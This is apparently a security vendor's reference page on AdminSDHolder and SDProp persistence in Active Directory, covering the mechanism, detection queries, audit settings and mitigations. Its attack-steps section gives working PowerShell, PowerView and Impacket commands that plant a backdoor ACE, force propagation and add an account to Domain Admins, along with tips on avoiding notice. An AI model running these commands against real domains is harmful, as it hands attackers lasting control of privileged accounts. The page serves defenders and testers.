1. Resources
  2. Identity Threats
  3. Active Directory

AdminSDHolder and SDProp Abuse

Also known as: AdminSDHolder backdoor, SDProp persistence, AdminSDHolder ACL persistence

An attacker with domain admin rights adds one ACE to the AdminSDHolder template; within an hour SDProp copies it to every protected account and group and restores it whenever it is removed.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Tier 0 or tenant admin
Write access to the DACL of CN=AdminSDHolder,CN=System. By default only Domain Admins, Enterprise Admins and Administrators can change it.
What the attacker gains
Lasting control of every protected principal: Domain Admins, Enterprise Admins, Administrators, krbtgt and the rest of the protected set.

How it works

AdminSDHolder is a container that every domain creates at CN=AdminSDHolder,CN=System,<domain DN>. It holds no accounts. Its security descriptor is a template: Active Directory uses it to keep the permissions of the most privileged accounts and groups fixed, so that a helpdesk delegation on an OU can never reach a Domain Admin who happens to sit in that OU.

The enforcement is done by a task called SDProp (security descriptor propagator):

  1. It runs on the domain controller that holds the PDC Emulator role, every 60 minutes by default.
  2. It builds the list of protected principals: the protected groups and accounts, and every user, computer and group that is a member of a protected group, directly or through nesting.
  3. It compares the permissions of each of those objects with the AdminSDHolder template.
  4. Where they differ, it overwrites the object's permissions with the template, disables inheritance on the object and sets adminCount to 1.

The protected set in current Windows Server versions is: Account Operators, Administrator, Administrators, Backup Operators, Domain Admins, Domain Controllers, Enterprise Admins, Enterprise Key Admins, Key Admins, krbtgt, Print Operators, Read-only Domain Controllers, Replicator, Schema Admins and Server Operators.

The abuse turns this safeguard around. An attacker who can write the template's DACL adds an allow ACE for a principal they control. At the next cycle SDProp copies that ACE, as an explicit entry, onto every protected object. From then on the protection mechanism maintains the attacker's access: an administrator who notices the ACE on Domain Admins and removes it there will see it return within the hour.

Writing AdminSDHolder needs rights that normally mean the domain is already lost, so this is a persistence technique, not an escalation. Its value is that the backdoor is one ACE on an object that few people review, held by an account that is in no privileged group. That makes the trustee a shadow admin.

Variants

  • GenericAll on the template. Full control of every protected object after propagation: reset passwords, add group members, write key credentials, rewrite DACLs. The broadest and the easiest to spot.
  • WriteDacl on the template. The trustee can rewrite the DACL of any protected object and grant itself whatever it needs at the moment of use. See WriteDacl abuse.
  • WriteOwner on the template. The trustee can take ownership of a protected object and then change its DACL. See WriteOwner abuse.
  • Narrow ACEs. A WriteProperty ACE for the member attribute only matters on groups but is enough to add an account to Domain Admins, and looks less alarming in a review.
  • Waiting or triggering. The attacker can wait for the scheduled cycle or start SDProp at once on the PDC Emulator.

A related problem is the stale object. When a principal leaves a protected group, adminCount stays 1 and inheritance stays disabled, so the object keeps whatever ACEs it had and SDProp no longer corrects it. An ACE that names a deleted account's SID can also be reclaimed in some cases, which is covered under dynamic object abuse.

Prerequisites

  • The right to modify AdminSDHolder's DACL. By default Domain Admins own the object and Domain Admins, Enterprise Admins and Administrators can change it. A non-default WriteDacl, WriteOwner or GenericAll entry on the object gives the same ability.
  • LDAP access to a domain controller.
  • A principal to name in the ACE. An ordinary user or computer account that the attacker controls and that defenders are unlikely to look at.
  • Time, or access to the PDC Emulator. The ACE reaches protected objects at the next SDProp cycle.

Reading the template needs no special rights. Any domain user can list its ACL and find entries that do not belong there:

Import-Module ActiveDirectory
$dn = "CN=AdminSDHolder,CN=System,DC=corp,DC=example,DC=com"
(Get-Acl -Path "AD:\$dn").Access |
  Where-Object { -not $_.IsInherited } |
  Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType, ObjectType

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Add an ACE to the template

With .NET directory services from any domain-joined Windows host, running as an account that can write the DACL:

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,DC=corp,DC=example,DC=com"
$trustee = New-Object System.Security.Principal.NTAccount("CORP","alice")
$sid = $trustee.Translate([System.Security.Principal.SecurityIdentifier])

$obj = [ADSI]"LDAP://$adminSDHolderDN"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
  $sid,
  [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
  [System.Security.AccessControl.AccessControlType]::Allow
)
$obj.psbase.ObjectSecurity.AddAccessRule($ace)
$obj.psbase.CommitChanges()

With PowerView:

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=example,DC=com" `
  -PrincipalIdentity alice -Rights All -Verbose

From Linux with Impacket dacledit.py. The first command grants full control; the other two grant only WriteDacl or WriteOwner:

dacledit.py -action write -rights FullControl -principal alice \
  -target-dn "CN=AdminSDHolder,CN=System,DC=corp,DC=example,DC=com" \
  'corp.example.com/administrator:<password>' -dc-ip 192.0.2.10

# WriteDacl only
dacledit.py -action write -rights Custom -mask 0x40000 -principal alice \
  -target-dn "CN=AdminSDHolder,CN=System,DC=corp,DC=example,DC=com" \
  'corp.example.com/administrator:<password>' -dc-ip 192.0.2.10

# WriteOwner only
dacledit.py -action write -rights Custom -mask 0x80000 -principal alice \
  -target-dn "CN=AdminSDHolder,CN=System,DC=corp,DC=example,DC=com" \
  'corp.example.com/administrator:<password>' -dc-ip 192.0.2.10

At this point alice has rights on the AdminSDHolder object only. Domain Admins, krbtgt and the other protected objects are unchanged.

2. Wait for SDProp, or trigger it

The scheduled cycle applies the template within about an hour. To apply it at once, modify the runProtectAdminGroupsTask operational attribute on the RootDSE of the PDC Emulator with the value 1. Microsoft documents this for Ldp.exe; the same modify operation from PowerShell:

$pdc = (Get-ADDomain).PDCEmulator
$rootDse = [ADSI]"LDAP://$pdc/RootDSE"
$rootDse.Put("runProtectAdminGroupsTask", 1)
$rootDse.SetInfo()

The interval itself is the AdminSDProtectFrequency value (in seconds) under HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters on the PDC Emulator. Changing it is noisier than waiting and affects domain controller load.

3. Confirm propagation

$sid = (Get-ADUser alice).SID.Value
foreach ($dn in "CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com",
                "CN=krbtgt,CN=Users,DC=corp,DC=example,DC=com") {
  (Get-Acl -Path "AD:\$dn").Access |
    Where-Object { $_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value -eq $sid } |
    Select-Object @{n='Object';e={$dn}}, ActiveDirectoryRights, IsInherited
}

The ACE appears as an explicit entry (IsInherited false) on each protected object.

4. Use the propagated right

With GenericAll, the trustee adds a member to a protected group or resets a protected user's password:

# Running as CORP\alice
Add-ADGroupMember -Identity "Domain Admins" -Members alice

# PowerView equivalent
Add-DomainGroupMember -Identity "Domain Admins" -Members alice -Verbose

With the WriteDacl variant, the trustee first grants itself a stronger right on the one object it wants, then uses it:

$groupDn = "CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com"
$sid = (Get-ADUser alice).SID
$obj = [ADSI]"LDAP://$groupDn"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
  $sid,
  [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
  [System.Security.AccessControl.AccessControlType]::Allow
)
$obj.psbase.ObjectSecurity.AddAccessRule($ace)
$obj.psbase.CommitChanges()

With the WriteOwner variant, the trustee takes ownership of the object and then writes its DACL the same way. A new group membership only shows in the account's token after a fresh logon or a new TGT.

Impact

After propagation the trustee controls every protected principal in the domain. In practice that means:

  • adding any account to Domain Admins, Enterprise Admins or Administrators;
  • resetting the password of any protected user, including the built-in Administrator;
  • writing key credentials or other authentication attributes on protected accounts;
  • granting replication rights and running DCSync once domain-level rights are in hand.

The access survives the usual clean-up. Resetting the passwords of all administrators, removing the attacker's account from groups and deleting ACEs from the protected objects all leave the template untouched, and SDProp restores the ACE on its next run. The backdoor ends only when the ACE is removed from AdminSDHolder itself.

OPSEC and artifacts

  • A narrow ACE on a dull principal. Operators prefer WriteDacl, WriteOwner or a member write for a computer account or an old service account over GenericAll for a new user. The ACE is still an explicit, non-default entry on AdminSDHolder that any ACL comparison shows.
  • The template write. With Directory Service Changes auditing and a SACL on the object, the write is event 5136 for nTSecurityDescriptor on AdminSDHolder, recorded with the attacker's account. With Directory Service Access auditing it is also event 4662 with WRITE_DAC (0x40000) or WRITE_OWNER (0x80000). Without a SACL neither is written.
  • Waiting instead of triggering. Letting the scheduled cycle run avoids an extra LDAP write to the PDC Emulator. Either way the propagation is done by the domain controller in its own security context, so events on the protected objects do not name the attacker. Event 4780 on the PDC Emulator records that SDProp reset the ACL of an account in an administrative group.
  • Dormancy. The ACE can sit unused for months. Nothing is logged until the right is exercised.
  • Using the right. Group changes write event 4728, 4732 or 4756, and a password reset writes event 4724. These need no SACL and name the trustee as the actor.
  • Tool traces. dacledit.py saves a backup of the DACL (dacledit-*.bak) on the operator's machine. PowerShell script block logging (event 4104) records the ADSI or PowerView commands on a Windows host.
  • Interval changes. A modified AdminSDProtectFrequency value stays in the registry of the PDC Emulator.

Detection

  • Any change to AdminSDHolder. The object almost never changes in a healthy domain, so every 5136 or successful 4662 write access on it deserves a look. The AdminSDHolder modification rules alert on this, and the broader DACL modified on a privileged object rules cover direct writes to protected objects.
  • Baseline comparison. Export the owner and the ACE list of AdminSDHolder and compare them on a schedule. This finds an ACE that was added before auditing was in place. Every entry for a principal outside Tier 0 is a finding.
  • Unexpected 4780 events. A burst on the PDC Emulator, or one for an account whose permissions nobody changed, means the template and the object disagreed.
  • Use of the right. A protected group membership change or a password reset of a protected user by an account that does not administer it. See the privileged group membership change rules and the privileged account password reset rules.
  • Changes to the protection scope. A write to dsHeuristics that excludes operator groups from the protected set, or a registry change to the SDProp interval.
// Directory changes on the AdminSDHolder object
SecurityEvent
| where EventID == 5136
| where EventData has "CN=AdminSDHolder,CN=System"
| project TimeGenerated, Computer, Account, EventData
| order by TimeGenerated desc

Both 5136 and 4662 depend on a SACL. Add an audit entry on AdminSDHolder for Everyone covering Write DACL, Write Owner and Write all properties, and confirm that the Directory Service Changes and Directory Service Access subcategories are enabled on all domain controllers.

Mitigation

  • Keep the template's ACL at its default. Only Domain Admins, Enterprise Admins and Administrators should be able to modify AdminSDHolder. Remove every other write entry and check the owner.
  • Treat AdminSDHolder and the PDC Emulator as Tier 0. Administer them only from privileged access workstations with dedicated accounts. The wider tiering model is in the Active Directory hardening guide.
  • Audit the object. Set the SACL described above and enable the directory service subcategories, following the Active Directory audit policy guide. Alert on every change.
  • Baseline and review. Keep an approved copy of the template's security descriptor and compare it regularly, together with the ACLs of the protected objects.
  • Clean up stale adminCount objects. Accounts that left a protected group keep adminCount=1 and a non-inheriting ACL. Review each one's ACL, then restore inheritance. Clearing the attribute alone does not do that.
  • Shrink the protected set. Fewer members in privileged groups means fewer objects that carry the template, and fewer accounts whose compromise leads to it.
  • Respond in the right order. Remove the ACE from AdminSDHolder first, run SDProp, then check every protected object for entries naming the same trustee and for ACEs that the trustee added directly. Rotate the credentials of every account the trustee could control, and reset krbtgt twice if a domain-level account was in reach.

Detection rules for this attack

Log events to collect

FAQ

What is AdminSDHolder?

AdminSDHolder is a container object at CN=AdminSDHolder,CN=System in every domain. Its access control list is the template for protected accounts and groups such as Domain Admins. A background task named SDProp, running on the PDC Emulator every 60 minutes by default, overwrites the permissions of each protected object with the template.

Does an ACE on AdminSDHolder give access immediately?

No. The ACE first applies only to the AdminSDHolder object itself. Protected accounts and groups receive it when SDProp next runs, which is up to an hour later by default, or at once if someone triggers the task on the PDC Emulator.

Why does removing the ACE from Domain Admins not fix it?

SDProp treats the template as the source of truth. If the ACE is still on AdminSDHolder, the next cycle writes it back to Domain Admins and every other protected object. The ACE has to be removed from AdminSDHolder first, and from the protected objects after that.

How do you detect an AdminSDHolder backdoor?

Audit changes to the AdminSDHolder object: event 5136 for nTSecurityDescriptor and event 4662 for WRITE_DAC or WRITE_OWNER access, both of which need a SACL on the object. Compare its ACL to a known baseline on a schedule, because a change made before auditing was enabled only shows up in the comparison.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.